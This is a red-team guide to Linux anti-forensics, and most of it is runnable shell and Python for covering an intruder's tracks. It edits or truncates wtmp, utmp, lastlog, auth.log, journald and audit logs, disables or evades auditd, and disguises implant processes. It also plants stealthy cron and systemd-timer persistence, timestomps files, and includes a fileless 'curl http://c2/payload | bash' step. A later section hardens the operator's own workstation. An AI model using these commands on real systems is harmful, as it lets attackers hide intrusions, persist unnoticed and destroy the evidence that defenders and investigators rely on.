# Quiet mode (suppress banner, for scripting)
hidemylogs -q wipe --user attacker
Key advantages over manual methods: preserves file timestamps automatically, direct binary struct manipulation (no text round-trip corruption risk), AND/OR filter logic, dry-run preview, static binary (drop + run + shred).
is a Python forensic tool that cross-references lastlog, wtmp, and auth.log to detect tampering. As a red teamer, understanding what the blue team runs against your tracks is essential for validating your cleanup.
# Install (Python 3.7+, stdlib only, zero dependencies)
# git clone https://github.com/franckferman/LastLog-Audit
# Parse lastlog with username resolution
python3 lastlog_audit.py -f /var/log/lastlog -u
# Parse wtmp
python3 lastlog_audit.py --wtmp /var/log/wtmp -u
# Parse auth.log (SSH successes/failures, sudo)
python3 lastlog_audit.py --auth-log /var/log/auth.log
# CORRELATE all 3 sources (detects cross-source inconsistencies)
python3 lastlog_audit.py -f /var/log/lastlog \
--wtmp /var/log/wtmp --auth-log /var/log/auth.log \
--correlate -u
# Export results for analysis
python3 lastlog_audit.py --correlate -e report.csv -F csv
What it detects (and what you must evade):
Counter-OPSEC lesson: if you zero a lastlog entry but forget to clean wtmp and auth.log, correlation mode catches the inconsistency. Always clean ALL FOUR sources (utmp + wtmp + btmp + lastlog) plus text logs (auth.log, secure, journal). hidemylogs handles the binary files; sed or journalctl --vacuum-* handles the text.
These are binary files with fixed-size records (struct utmp is 384 bytes on x86_64). The utmpdump tool can convert between binary and text formats. Dump to text, remove your entries, re-encode back to binary. Always verify with last after editing. For automated, timestamp-preserving cleanup, use hidemylogs instead.
# Method 1: utmpdump round-trip (recommended)
# Dump wtmp to editable text
utmpdump /var/log/wtmp > /tmp/.wtmp.txt
# Inspect format - each line looks like:
# [7] [12345] [pts/0] [user] [pts/0] [10.10.10.1] [0.0.0.0] [2026-03-29T14:30:00,000000+0000]
# Remove entries matching your IP
grep -v "10.10.10.1" /tmp/.wtmp.txt > /tmp/.wtmp_clean.txt
# Re-encode to binary
utmpdump -r /tmp/.wtmp_clean.txt > /var/log/wtmp
# Cleanup temp files
shred -zu /tmp/.wtmp.txt /tmp/.wtmp_clean.txt
# Verify
last | head -20
# Method 2: same for utmp (current logins)
utmpdump /var/run/utmp > /tmp/.utmp.txt
grep -v "your_user\|your_ip" /tmp/.utmp.txt > /tmp/.utmp_clean.txt
utmpdump -r /tmp/.utmp_clean.txt > /var/run/utmp
shred -zu /tmp/.utmp.txt /tmp/.utmp_clean.txt
# Method 3: truncate (nuclear - clears all records)
# Obvious to forensics but effective in a rush
> /var/log/wtmp
> /var/log/btmp
> /var/run/utmp
> /var/log/lastlog
# Method 4: truncate but keep file size plausible
# Copy original, zero your entries, restore
cp /var/log/wtmp /var/log/wtmp.bak
# (edit and restore)
The lastlog file is indexed by UID. Each entry is at offset UID * sizeof(struct lastlog). The struct is: ll_time (4 bytes) + ll_line (32 bytes) + ll_host (256 bytes) = 292 bytes per entry. You can zero out a specific user's entry without affecting others.
# Zero out a specific user's lastlog entry
# Calculate offset: UID * 292
UID_NUM=$(id -u targetuser)
dd if=/dev/zero of=/var/log/lastlog \
bs=292 count=1 seek=$UID_NUM conv=notrunc 2>/dev/null
# Verify
lastlog -u targetuser
# Should show "Never logged in"
# Python method (more precise)
python3 -c "
import os
uid = int(os.popen('id -u targetuser').read().strip())
entry_size = 292
offset = uid * entry_size
with open('/var/log/lastlog', 'r+b') as f:
f.seek(offset)
f.write(b'\x00' * entry_size)
print(f'Cleared lastlog for UID {uid} at offset {offset}')
"
# Set a fake last login (instead of clearing)
python3 -c "
import struct, time, os
uid = int(os.popen('id -u targetuser').read().strip())
entry_size = 292
offset = uid * entry_size
# Fake: logged in 30 days ago from console
fake_time = int(time.time()) - (30 * 86400)
ll_time = struct.pack('i', fake_time)
ll_line = b'tty1' + b'\x00' * 28 # 32 bytes
ll_host = b'console' + b'\x00' * 249 # 256 bytes
with open('/var/log/lastlog', 'r+b') as f:
f.seek(offset)
f.write(ll_time + ll_line + ll_host)
"
Text-based log files are the easiest to tamper with since they are plain text and can be edited with sed, awk, or any text editor. The key files vary by distribution. Debian/Ubuntu use auth.log, RHEL/CentOS use secure. Always check for rotated copies (.1, .gz) as well.
# Key log files and what they contain
/var/log/auth.log # Debian/Ubuntu: SSH, sudo, su, PAM events
/var/log/secure # RHEL/CentOS: same as auth.log
/var/log/syslog # General system messages (Debian)
/var/log/messages # General system messages (RHEL)
/var/log/kern.log # Kernel messages (module loads, errors)
/var/log/daemon.log # Daemon messages
/var/log/cron # Cron job execution logs
/var/log/faillog # Failed login counter (binary)
/var/log/mail.log # Mail server logs (if exfil via email)
# Remove entries matching your IP from auth.log
sed -i '/10.10.10.1/d' /var/log/auth.log
# Remove entries matching your user
sed -i '/attacker_user/d' /var/log/auth.log
# Remove SSH-specific entries
sed -i '/sshd.*10.10.10.1/d' /var/log/auth.log
sed -i '/Accepted.*10.10.10.1/d' /var/log/auth.log
sed -i '/session opened.*attacker_user/d' /var/log/auth.log
# Handle rotated logs too
for f in /var/log/auth.log.1 /var/log/auth.log.*.gz; do
if [ -f "$f" ]; then
case "$f" in
*.gz) zcat "$f" | grep -v "10.10.10.1" | gzip > "$f.tmp" && mv "$f.tmp" "$f" ;;
*) sed -i '/10.10.10.1/d' "$f" ;;
esac
fi
done
# Check what logrotate is configured to do
cat /etc/logrotate.d/rsyslog
On systemd-based systems, journald captures everything that syslog does and more. Journal files are binary and stored in /var/log/journal/ (persistent) or /run/log/journal/ (volatile, lost on reboot). The journalctl tool provides vacuum commands that can reduce or eliminate stored entries.
# Query journal for your traces
journalctl | grep -i "10.10.10.1"
journalctl -u sshd --since "1 hour ago"
journalctl _UID=1000
journalctl _COMM=sudo
# Check journal storage mode
cat /etc/systemd/journald.conf | grep Storage
# Storage=auto -> persistent if /var/log/journal exists
# Storage=volatile -> only in /run/log/journal (tmpfs)
# Storage=none -> no logging at all
# Rotate current journal files (seals them)
journalctl --rotate
# Vacuum - delete old entries
journalctl --vacuum-time=1d # keep only last day
journalctl --vacuum-size=10M # keep only 10MB
journalctl --vacuum-files=1 # keep only 1 file
# Aggressive cleanup
journalctl --rotate
journalctl --vacuum-time=1s # delete almost everything
# Switch journal to volatile (requires restart)
mkdir -p /etc/systemd/journald.conf.d/
cat > /etc/systemd/journald.conf.d/volatile.conf << 'CONF'
[Journal]
Storage=volatile
CONF
systemctl restart systemd-journald
# After restart, persistent journals remain on disk
# Delete them manually
rm -rf /var/log/journal/*
# Volatile journals live in tmpfs and vanish on reboot
# Disable journal rate limiting (if you need to flood/hide)
# RateLimitIntervalSec=0
# RateLimitBurst=0
auditd is the Linux kernel audit framework. It can log every syscall, file access, network connection, and user action. When auditd is active with execve rules, it captures every command regardless of shell history settings. This makes it the most comprehensive and hardest-to-evade logging mechanism.
# Check if auditd is running
systemctl status auditd
auditctl -s # audit status (enabled/disabled, PID, etc.)
auditctl -l # list all active rules
# Check audit log location
grep "log_file" /etc/audit/auditd.conf
# Disable audit in kernel (requires root)
auditctl -e 0 # disable audit subsystem
# Note: auditctl -e 2 locks the config (cannot disable until reboot)
# Delete all audit rules
auditctl -D
# Stop auditd service
systemctl stop auditd
# Some distros protect auditd from stopping via systemd
# Use: service auditd stop
# Or kill it directly
kill -9 $(pidof auditd)
# Clear audit logs
> /var/log/audit/audit.log
rm -f /var/log/audit/audit.log.*
# Remove specific entries from audit log
sed -i '/10.10.10.1/d' /var/log/audit/audit.log
sed -i '/attacker_user/d' /var/log/audit/audit.log
# Exclude your process from auditing by PID
auditctl -a always,exclude -F pid=$$
# Exclude a specific UID from auditing
auditctl -a always,exclude -F uid=1000
# Delete a specific rule (must match exactly)
auditctl -d always,exit -F arch=b64 -S execve -k exec_log
# Check if audit is immutable (locked)
auditctl -s | grep enabled
# enabled 2 = locked, cannot change until reboot
# Bypass locked audit: if rules are in /etc/audit/rules.d/
# Remove/edit the files and reboot
ls /etc/audit/rules.d/
If logs are forwarded to a remote syslog server (SIEM, Splunk, ELK), local tampering is insufficient. The remote copy will still contain your traces. Always check for remote logging before assuming local cleanup is enough.
# Check for remote syslog forwarding
grep -r "@@\|@" /etc/rsyslog.conf /etc/rsyslog.d/ 2>/dev/null
# @ = UDP forwarding
# @@ = TCP forwarding
# Check for syslog-ng remote destinations
grep -r "destination" /etc/syslog-ng/ 2>/dev/null
# Check for journald forwarding
grep "ForwardTo" /etc/systemd/journald.conf
# Check for auditd remote plugin (audisp-remote)
cat /etc/audisp/plugins.d/au-remote.conf 2>/dev/null
cat /etc/audit/plugins.d/au-remote.conf 2>/dev/null
# Check for installed log agents
systemctl list-units | grep -iE "filebeat|fluentd|logstash|splunk|ossec|wazuh|falcon"
# If remote logging is active, local tampering alone is NOT enough
# Options:
# 1. Disable/stop the forwarding agent
# 2. Block outbound syslog (tcp/514, tcp/6514, udp/514)
# 3. Accept that remote logs are beyond your reach
Core dumps can contain passwords, encryption keys, and other secrets from process memory. Disable them system-wide.
# Disable core dumps via sysctl
echo "kernel.core_pattern=/dev/null" >> /etc/sysctl.d/99-hardening.conf
echo "fs.suid_dumpable=0" >> /etc/sysctl.d/99-hardening.conf
sysctl --system
# Disable via limits.conf
echo "* hard core 0" >> /etc/security/limits.conf
echo "* soft core 0" >> /etc/security/limits.conf
# Disable via systemd
mkdir -p /etc/systemd/coredump.conf.d/
cat > /etc/systemd/coredump.conf.d/disable.conf << 'EOF'
[Coredump]
Storage=none
ProcessSizeMax=0
EOF
# Disable for current session
ulimit -c 0
# Verify
ulimit -c # should show 0
cat /proc/sys/kernel/core_pattern # should show /dev/null
# Remove existing core dumps
rm -rf /var/lib/systemd/coredump/*
find / -name "core" -type f -delete 2>/dev/null
find / -name "core.*" -type f -delete 2>/dev/null
ptrace allows one process to inspect and modify another. Attackers use it for credential dumping and process injection. Restrict it to prevent these attacks.
# Check current ptrace scope
cat /proc/sys/kernel/yama/ptrace_scope
# 0 = no restrictions (any process can ptrace any other)
# 1 = restricted (only parent can ptrace child)
# 2 = admin only (only CAP_SYS_PTRACE can ptrace)
# 3 = no ptrace (completely disabled)
# Set to most restrictive
sysctl -w kernel.yama.ptrace_scope=3
# Persistent
echo "kernel.yama.ptrace_scope=3" >> /etc/sysctl.d/99-hardening.conf
# For operator workstation: 3 (no ptrace)
# For development machine: 1 (parent-child only)
# Check if any process is currently ptracing another
grep TracerPid /proc/*/status 2>/dev/null | grep -v "TracerPid:.0"
Protect process memory from inspection and extraction.
# Disable /proc/pid/mem access for non-root
# Already covered by ptrace_scope=3
# Hidepid mount option for /proc
# Prevents users from seeing other users' processes
mount -o remount,hidepid=2 /proc
# Persistent via /etc/fstab
# proc /proc proc defaults,hidepid=2 0 0
# Or via systemd
mkdir -p /etc/systemd/system/proc-hidepid.mount.d/
cat > /etc/systemd/system/proc.mount.d/hidepid.conf << 'EOF'
[Mount]
Options=defaults,hidepid=2
EOF
# Disable /proc/kcore (physical memory dump)
echo "install kcore /bin/true" >> /etc/modprobe.d/hardening.conf
# Or mount with hidepid=2 which also restricts kcore
# Lock down /proc/sysrq-trigger
echo 0 > /proc/sys/kernel/sysrq
# Clear process environment on exec
# Use env -i when launching sensitive processes
env -i HOME=/tmp PATH=/usr/bin:/bin ./sensitive_tool
Every running process is visible in /proc/ps command reads /proc. Hiding a process from ps means hiding or manipulating /proc entries. Without root, your options are limited to cosmetic changes.
# Process name masking via exec -a (argv[0] override)
exec -a "[kworker/0:1]" ./implant
exec -a "systemd-timesyncd" ./implant
exec -a "[migration/0]" ./implant
# Kernel thread names use brackets - blend in
# Common kernel thread names to mimic:
# [kworker/0:0], [kthreadd], [ksoftirqd/0], [migration/0]
# [rcu_sched], [watchdog/0], [kcompactd0], [kswapd0]
# Change /proc/self/comm (process name in top/ps)
echo "systemd-helper" > /proc/self/comm
# /dev/shm execution (tmpfs, never touches disk)
cp implant /dev/shm/.hidden
chmod +x /dev/shm/.hidden
/dev/shm/.hidden &
IMPLANT_PID=$!
rm /dev/shm/.hidden # delete while running, stays in memory
# /proc/$IMPLANT_PID/exe now shows "(deleted)"
# memfd_create execution (Linux 3.17+)
# Creates anonymous file descriptor in memory - no file on disk ever
# Must be done from C/Go/Rust code:
# fd = memfd_create("", MFD_CLOEXEC);
# write(fd, elf_data, elf_size);
# fexecve(fd, argv, envp);
# Python memfd_create example
python3 -c "
import ctypes, os
libc = ctypes.CDLL('libc.so.6')
fd = libc.memfd_create(b'', 1) # MFD_CLOEXEC=1
with open(fd, 'wb') as f:
f.write(open('/tmp/implant','rb').read())
os.execve(f'/proc/self/fd/{fd}', ['[kworker/0:2]'], os.environ)
"
# Hide process with mount --bind (requires root)
mkdir -p /tmp/.empty
mount --bind /tmp/.empty /proc/<pid>
# Process disappears from ps, top, /proc listing
# Undo: umount /proc/<pid>
Persistence via cron or systemd timers is common but leaves artifacts. System-level crontabs are less scrutinized than user crontabs. Systemd timers are stealthier because they blend with legitimate system units.
# Cron - hide in system crontab (less obvious)
echo "*/30 * * * * root /dev/shm/.update >/dev/null 2>&1" >> /etc/crontab
# Cron - hide among system cron directories
cp payload /etc/cron.daily/man-db.update
chmod 755 /etc/cron.daily/man-db.update
# User crontab (per user, stored in /var/spool/cron/)
crontab -e # leaves editor artifacts (.viminfo)
# Better: pipe directly
echo "*/15 * * * * /dev/shm/.check >/dev/null 2>&1" | crontab -
# Systemd timer persistence (stealthier)
cat > /etc/systemd/system/systemd-tmpfiles-clean2.timer << 'EOF'
[Unit]
Description=Daily Cleanup of Temporary Directories
[Timer]
OnCalendar=*-*-* 04:00:00
Persistent=true
[Install]
WantedBy=timers.target
EOF
cat > /etc/systemd/system/systemd-tmpfiles-clean2.service << 'EOF'
[Unit]
Description=Cleanup of Temporary Directories
[Service]
Type=oneshot
ExecStart=/dev/shm/.update
EOF
systemctl daemon-reload
systemctl enable systemd-tmpfiles-clean2.timer
# At job (one-time future execution)
echo "/dev/shm/.payload" | at now + 5 minutes 2>/dev/null
# Cleanup
crontab -r # remove user crontab
sed -i '/.update/d' /etc/crontab
rm /etc/systemd/system/systemd-tmpfiles-clean2.*
systemctl daemon-reload
Process environment variables persist in /proc/
# View a process's environment
cat /proc/<pid>/environ | tr '\0' '\n'
strings /proc/<pid>/environ
# Dangerous env vars to avoid setting
# C2_URL, PAYLOAD_PATH, LHOST, LPORT, etc.
# Clear environment before launching
env -i ./implant
# Use env -i with minimal required vars
env -i HOME=/tmp PATH=/usr/bin:/bin ./implant
# Unset sensitive vars in current shell
unset HISTFILE HISTSIZE HISTFILESIZE
unset C2_URL EXFIL_KEY
# Some tools read env vars from /proc
# pspy monitors /proc for new processes and their environ
Linux ext4 tracks 4 timestamps per inode: atime (last access), mtime (last content modification), ctime (last metadata change), and crtime (creation time). Forensic timeline analysis compares these for anomalies. ctime cannot be set by userspace tools - it updates automatically on any inode metadata change. This is the hardest timestamp to fake.
# View all timestamps
stat file.txt
# Access: atime
# Modify: mtime
# Change: ctime (cannot be set via touch)
# Birth: crtime (ext4 only)
# Copy timestamps from a reference file
touch -r /etc/passwd implant.elf
# Sets atime and mtime to match /etc/passwd
# Set specific timestamps
touch -t 202301151430.00 file.txt # YYYYMMDDhhmm.ss
touch -d "2023-01-15 14:30:00" file.txt
# Save and restore timestamps around operations
ATIME=$(stat -c %x file.txt)
MTIME=$(stat -c %y file.txt)
# ... modify file ...
touch -d "$ATIME" -a file.txt
touch -d "$MTIME" -m file.txt
# Preserve timestamps during copy
cp -p source dest
cp --preserve=timestamps source dest
rsync -t source dest
# WARNING: ctime updates on ANY metadata change
# chmod, chown, rename, link, touch all update ctime
# If mtime > ctime, it means timestomping was done
# Forensic tools (Sleuth Kit, plaso) flag this anomaly
# ext4 crtime (creation/birth time)
# View crtime
debugfs -R 'stat <inode_number>' /dev/sda1
# Get inode number
ls -i file.txt
# Modify crtime (requires unmounted or read-only fs)
debugfs -w /dev/sda1 -R 'set_inode_field <inode> crtime 202301150000'
# On XFS: use xfs_db for similar manipulation
Avoid writing to persistent storage whenever possible. Use tmpfs mounts for temporary tool deployment. When files must be written to disk, securely delete them afterward - but understand that on SSDs, shred is unreliable due to wear leveling and TRIM.
# tmpfs locations (RAM-based, no disk writes)
/dev/shm/ # shared memory, always tmpfs
/tmp/ # often tmpfs on modern systems
/run/ # tmpfs on systemd systems
/run/user/$UID/ # per-user tmpfs
# Check if a path is tmpfs
df -T /dev/shm # should show tmpfs
mount | grep "tmpfs"
findmnt -t tmpfs
# Execute from tmpfs
cp tool /dev/shm/.t
chmod +x /dev/shm/.t
/dev/shm/.t; rm -f /dev/shm/.t
# Secure deletion on HDD (rotational disk)
shred -vfz -n 3 file.txt # 3 random passes + zero pass
shred -zu file.txt # 3 passes + zero + unlink
# Secure deletion tools
srm file.txt # secure-delete package
wipe file.txt # wipe utility
# SSD warning: shred is unreliable due to wear leveling
# On SSD: delete file, then issue TRIM
rm file.txt
fstrim -v / # triggers TRIM on entire FS
# For SSD: full disk encryption is the only reliable protection
# Fileless execution - never touch disk
curl -s http://c2/payload | bash
wget -qO- http://c2/tool | sh
curl -s http://c2/elf | dd of=/dev/shm/.x && chmod +x /dev/shm/.x && /dev/shm/.x; rm /dev/shm/.x
Beyond your own tools, the system generates temporary files that can reveal activity. Browser caches, thumbnail databases, and recently-used file lists all record what you accessed.
# System temp directories
rm -rf /tmp/* /tmp/.* 2>/dev/null
rm -rf /var/tmp/* /var/tmp/.* 2>/dev/null
# User-specific temp and cache
rm -rf ~/.cache/thumbnails/*
rm -rf ~/.cache/mozilla/firefox/*/cache2/*
rm -rf ~/.cache/chromium/*/Cache/*
rm -rf ~/.cache/google-chrome/*/Cache/*
# Recently used files (GNOME/GTK)
rm -f ~/.local/share/recently-used.xbel
rm -f ~/.recently-used.xbel
# Prevent future writes
ln -sf /dev/null ~/.local/share/recently-used.xbel
# Thumbnail caches (reveal viewed images)
rm -rf ~/.cache/thumbnails/normal/*
rm -rf ~/.cache/thumbnails/large/*
rm -rf ~/.cache/thumbnails/fail/*
# Tracker database (GNOME file indexer)
tracker3 reset --filesystem 2>/dev/null
tracker reset --hard 2>/dev/null
rm -rf ~/.cache/tracker3/*
rm -rf ~/.local/share/tracker/*
# Zeitgeist activity log (Ubuntu)
zeitgeist-daemon --quit 2>/dev/null
rm -rf ~/.local/share/zeitgeist/*
# Trash
rm -rf ~/.local/share/Trash/*
# Clipboard managers
rm -rf ~/.local/share/clipman/* 2>/dev/null
rm -rf ~/.cache/clipboard/* 2>/dev/null
# KDE activity logs
rm -rf ~/.local/share/kactivitymanagerd/*
Extended attributes and file capabilities can reveal tampering. The immutable attribute prevents deletion even by root (until removed). SELinux labels and filesystem ACLs also create traceable metadata.
# View extended attributes
lsattr file.txt
getfattr -d file.txt
# Set immutable (prevents modification/deletion)
chattr +i file.txt
# Remove immutable
chattr -i file.txt
# Hide from lsattr by removing all attributes
chattr -aijdAcDsStTu file.txt
# File capabilities (can grant root-like powers)
getcap /path/to/binary
# Remove capabilities
setcap -r /path/to/binary
# SELinux context (if enforcing)
ls -Z file.txt
# Restore default context
restorecon -v file.txt
# Check for filesystem ACLs
getfacl file.txt
# Remove all ACLs
setfacl -b file.txt
Multiple filesystem-level artifacts can reveal attacker activity. The mlocate database indexes all filenames, USB history lives in journal/dmesg, and recently accessed files can be found with find.
# Check what's mounted
mount
findmnt --real
cat /proc/mounts
# USB mount history (forensic artifact)
journalctl | grep -i "usb\|removable"
dmesg | grep -i "usb\|scsi"
ls /dev/disk/by-id/ | grep usb
# Recently accessed files
find / -atime -1 -type f 2>/dev/null # accessed last 24h
find / -mtime -1 -type f 2>/dev/null # modified last 24h
find / -ctime -1 -type f 2>/dev/null # metadata changed last 24h
find / -newer /tmp/timestamp_ref -type f 2>/dev/null
# mlocate database (indexes all filenames on disk)
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db # newer plocate
# Update database to include your cleanup
updatedb
# Or delete the database entirely
rm -f /var/lib/mlocate/mlocate.db
rm -f /var/lib/plocate/plocate.db
# Inotify watches (defender may be monitoring directories)
# Check if inotifywait or similar is running
ps aux | grep inotify
# Check for fanotify-based monitors
cat /proc/*/fdinfo/* 2>/dev/null | grep fanotify
# Deleted files still open (recoverable via /proc)
ls -la /proc/*/fd 2>/dev/null | grep deleted
# To find: lsof +L1
Network activity leaves traces in DNS cache, firewall logs, connection tracking tables, and application-level artifacts. Even after closing connections, evidence persists in multiple locations.
# DNS cache (systemd-resolved)
resolvectl statistics
resolvectl flush-caches
# DNS cache (nscd)
nscd -i hosts
# Conntrack table (kernel connection tracking)
conntrack -L 2>/dev/null
cat /proc/net/nf_conntrack 2>/dev/null
# Flush conntrack
conntrack -F
# Current connections (check before and after)
ss -tunapo
netstat -tunapo
# iptables/nftables logs (your connections may be logged)
dmesg | grep -i "iptables\|nftables\|DROPPED\|REJECT"
journalctl -k | grep -i "IN=.*OUT="
grep -r "iptables\|nftables" /var/log/ 2>/dev/null
# ARP cache (reveals network scanning)
ip neigh show
arp -a
# Flush ARP cache
ip neigh flush all
# Routing table changes you may have made
ip route show
# Restore default if modified
# SSH known_hosts (your C2 might be recorded here)
~/.ssh/known_hosts
# Remove specific entry
ssh-keygen -R <c2_host>
# Or hash all entries (obscures hostnames)
ssh-keygen -H
# Clear all
> ~/.ssh/known_hosts
# /etc/hosts modifications
# Check and restore if you added entries
cat /etc/hosts
# /etc/resolv.conf changes
# Restore if modified for DNS exfiltration
SSH connections leave traces on both client and server sides. The server records your login in utmp/wtmp/lastlog and auth.log. The client records the server in known_hosts. Several options reduce the footprint.
# Connect without updating known_hosts
ssh -o UserKnownHostsFile=/dev/null \
-o StrictHostKeyChecking=no \
user@target
# No PTY allocation (reduces utmp/wtmp logging on some configs)
ssh -T user@target
# Use non-standard port (may bypass monitoring)
ssh -p 8022 user@target
# Proxy through SOCKS (Tor)
ssh -o ProxyCommand='nc -x 127.0.0.1:9050 %h %p' user@target
# Proxy through HTTP CONNECT proxy
ssh -o ProxyCommand='nc -X connect -x proxy:8080 %h %p' user@target
# Dynamic SOCKS proxy for tunneling
ssh -D 9050 -N -f user@target
# Local port forward (access internal services)
ssh -L 8080:internal-host:80 -N -f user@target
# Remote port forward (expose local service to target)
ssh -R 4444:127.0.0.1:4444 -N -f user@target
# SSH over DNS (if only DNS egress is allowed)
# Use tools like iodine, dns2tcp, or dnscat2
# ControlMaster (reuse connections, fewer auth events)
ssh -o ControlMaster=auto \
-o ControlPath=/dev/shm/.ssh-%r@%h:%p \
-o ControlPersist=600 \
user@target
Harden the SSH server on your operator workstation to prevent unauthorized access. These settings go in /etc/ssh/sshd_config or a drop-in file under /etc/ssh/sshd_config.d/.
# /etc/ssh/sshd_config.d/hardening.conf
cat > /etc/ssh/sshd_config.d/hardening.conf << 'EOF'
# Authentication
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AuthenticationMethods publickey
MaxAuthTries 3
MaxSessions 2
LoginGraceTime 30
# Disable unused auth methods
KbdInteractiveAuthentication no
ChallengeResponseAuthentication no
UsePAM yes
# Restrict users
AllowUsers operator
# Network
Port 2222
AddressFamily inet
ListenAddress 0.0.0.0
# Crypto (modern algorithms only)
KexAlgorithms [email protected],curve25519-sha256
Ciphers [email protected],[email protected]
MACs [email protected],[email protected]
HostKeyAlgorithms ssh-ed25519
# Logging
LogLevel VERBOSE
# Session
ClientAliveInterval 300
ClientAliveCountMax 2
X11Forwarding no
AllowTcpForwarding no
AllowAgentForwarding no
PermitTunnel no
# Restrict subsystems
Subsystem sftp /usr/lib/openssh/sftp-server -l INFO
EOF
# Test config before restarting
sshd -t
# Restart
systemctl restart sshd
# Generate strong host key (Ed25519)
ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key -N ""
# Remove weak host keys
rm -f /etc/ssh/ssh_host_dsa_key* /etc/ssh/ssh_host_ecdsa_key*
Harden sudo to prevent privilege escalation abuse and reduce forensic footprint.
# /etc/sudoers.d/hardening (use visudo to edit)
visudo -f /etc/sudoers.d/hardening
# Content:
Defaults timestamp_timeout=5
Defaults passwd_tries=3
Defaults logfile="/var/log/sudo.log"
Defaults log_input,log_output
Defaults iolog_dir="/var/log/sudo-io/%{user}"
Defaults requiretty
Defaults use_pty
Defaults env_reset
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults !visiblepw
Defaults always_set_home
# Restrict sudo to specific group
%wheel ALL=(ALL:ALL) ALL
# No-password for specific commands only (if needed)
# operator ALL=(ALL) NOPASSWD: /usr/bin/wg-quick
# Check current sudo config
sudo -l
cat /etc/sudoers
ls -la /etc/sudoers.d/
PAM (Pluggable Authentication Modules) controls authentication. Harden it to prevent brute force and enforce strong passwords.
# Lockout after failed attempts
# /etc/pam.d/common-auth (Debian) or /etc/pam.d/system-auth (RHEL)
# Add before pam_unix.so:
# auth required pam_faillock.so preauth deny=5 unlock_time=900
# auth [default=die] pam_faillock.so authfail deny=5 unlock_time=900
# Password complexity (pwquality)
# /etc/security/pwquality.conf
cat > /etc/security/pwquality.conf << 'EOF'
minlen = 14
dcredit = -1
ucredit = -1
ocredit = -1
lcredit = -1
minclass = 4
maxrepeat = 3
maxclassrepeat = 4
gecoscheck = 1
dictcheck = 1
EOF
# Check for pam_tty_audit (logs all keystrokes)
grep -r pam_tty_audit /etc/pam.d/
# If found, it logs every keystroke at PAM level
# History evasion is useless against this
# Check PAM configuration
pam-auth-update --force # Debian/Ubuntu
authselect list # RHEL/Fedora
Store the LUKS header on a separate USB. The main disk looks like random data with no LUKS signature. Without the USB, there is no evidence encryption exists. Strongest plausible deniability on Linux.
# Create LUKS with detached header on USB
cryptsetup luksFormat --type luks2 \
--header /mnt/usb/header.luks \
--cipher aes-xts-plain64 --key-size 512 \
--pbkdf argon2id /dev/sda2
# Open with detached header
cryptsetup open --header /mnt/usb/header.luks /dev/sda2 cryptroot
# The main disk (/dev/sda2) contains ONLY encrypted data
# No LUKS magic bytes, no header, no partition type hint
# hexdump -C /dev/sda2 | head -> looks like pure random
# /etc/crypttab for boot with detached header
# cryptroot /dev/sda2 none luks,header=/mnt/usb/header.luks
# Destroy deniability evidence: shred the USB
shred -vfz -n 3 /mnt/usb/header.luks
# Now the disk is permanently unrecoverable AND shows no crypto signature
Combine with LUKS-Nuke: header on USB + nuke password on the header. Two paths to destruction (physical USB destruction OR nuke passphrase).
VeraCrypt is the only mature tool offering true hidden volume support on Linux. A VeraCrypt container has two layers: an outer volume (decoy, with plausible files) and a hidden volume (real data, encrypted within the outer volume's free space). With only the outer password, there is no way to prove the hidden volume exists - the free space is indistinguishable from random data.
# Install VeraCrypt (Linux CLI)
# Download from veracrypt.fr/en/Downloads.html
# Or: apt install veracrypt (if available in repo)
# --- Create a container with hidden volume ---
# Step 1: Create outer volume (decoy)
veracrypt -t -c --volume-type=normal \
--size=1G --encryption=aes-twofish-serpent \
--hash=sha-512 --filesystem=ext4 \
/path/to/container.vc
# Enter a decoy password. Put plausible files in the outer volume.
# Step 2: Create hidden volume inside the outer volume
veracrypt -t -c --volume-type=hidden \
--size=500M --encryption=aes-twofish-serpent \
--hash=whirlpool --filesystem=ext4 \
/path/to/container.vc
# Enter the REAL password (different from outer).
# --- Mount outer (decoy) ---
veracrypt -t /path/to/container.vc /mnt/decoy
# Enter the outer password -> sees only decoy files
# --- Mount hidden (real) ---
veracrypt -t /path/to/container.vc /mnt/real
# Enter the hidden password -> sees only the hidden volume
# --- Mount outer WITH hidden volume protection ---
# Prevents accidentally overwriting the hidden volume when writing to outer
veracrypt -t --protect-hidden=yes /path/to/container.vc /mnt/decoy
# You will be prompted for BOTH passwords
# --- Dismount ---
veracrypt -d /path/to/container.vc
# Or dismount all:
veracrypt -d
# --- System encryption (full disk with hidden OS) ---
# VeraCrypt supports hidden OS on Windows only
# On Linux: use VeraCrypt containers + LUKS detached header for full disk
VeraCrypt vs LUKS for plausible deniability:
| Feature | VeraCrypt | LUKS Detached Header |
|---|---|---|
| Hidden volume (2 passwords, 2 contents) | Yes (proven, audited) | No (single volume) |
| Deniable encryption (no header on disk) | Container file visible | Yes (disk looks random) |
| Full disk encryption | Windows only | Yes (Linux native) |
| Performance | Slower (userspace FUSE) | Faster (kernel dm-crypt) |
| Audit status | OSTIF/QuarksLab 2016 | Part of cryptsetup |
| Cascade ciphers | AES-Twofish-Serpent | Single cipher only |
Best combo: LUKS detached header for the OS disk (no crypto signature) + VeraCrypt hidden volume for sensitive data (2-layer deniability).
ZuluCrypt is a Linux frontend for managing LUKS, VeraCrypt, PLAIN dm-crypt, TrueCrypt (legacy), and LUKS-on-loop volumes. ZuluMount is the companion auto-mount daemon. Useful when you need to manage multiple encrypted containers quickly.
# Install
apt install zulucrypt-gui zuluMount-gui # Debian/Ubuntu
# Or: dnf install zulucrypt zuluMount # Fedora
# CLI usage (zuluCrypt-cli)
# Create a LUKS volume
zuluCrypt-cli -c -d /path/to/container -z ext4 -t luks -g 500M -p
# Open a LUKS volume
zuluCrypt-cli -o -d /path/to/container -m /mnt/secret -e ro -p
# Open a VeraCrypt volume
zuluCrypt-cli -o -d /path/to/container -m /mnt/secret -e rw -p -V vcrypt
# Close
zuluCrypt-cli -q -d /path/to/container
# List open volumes
zuluCrypt-cli -L
RAM retains data for seconds to minutes after power loss (longer if cooled). Mitigations:
# --- Kernel memory zeroing (software, free) ---
# Add to GRUB_CMDLINE_LINUX:
# page_poison=1 init_on_alloc=1 init_on_free=1 slub_debug=P
# init_on_free zeroes every page when freed -> limits what persists in RAM
# --- TRESOR (CPU-register-only AES keys) ---
# Stores AES keys in CPU debug registers (DR0-DR3), never in RAM
# Requires kernel patch: https://www1.informatik.uni-erlangen.de/tresor
# Protects LUKS master key from cold boot extraction
# Limitation: only 256-bit AES, single key at a time
# --- AMD SME/SEV (hardware memory encryption) ---
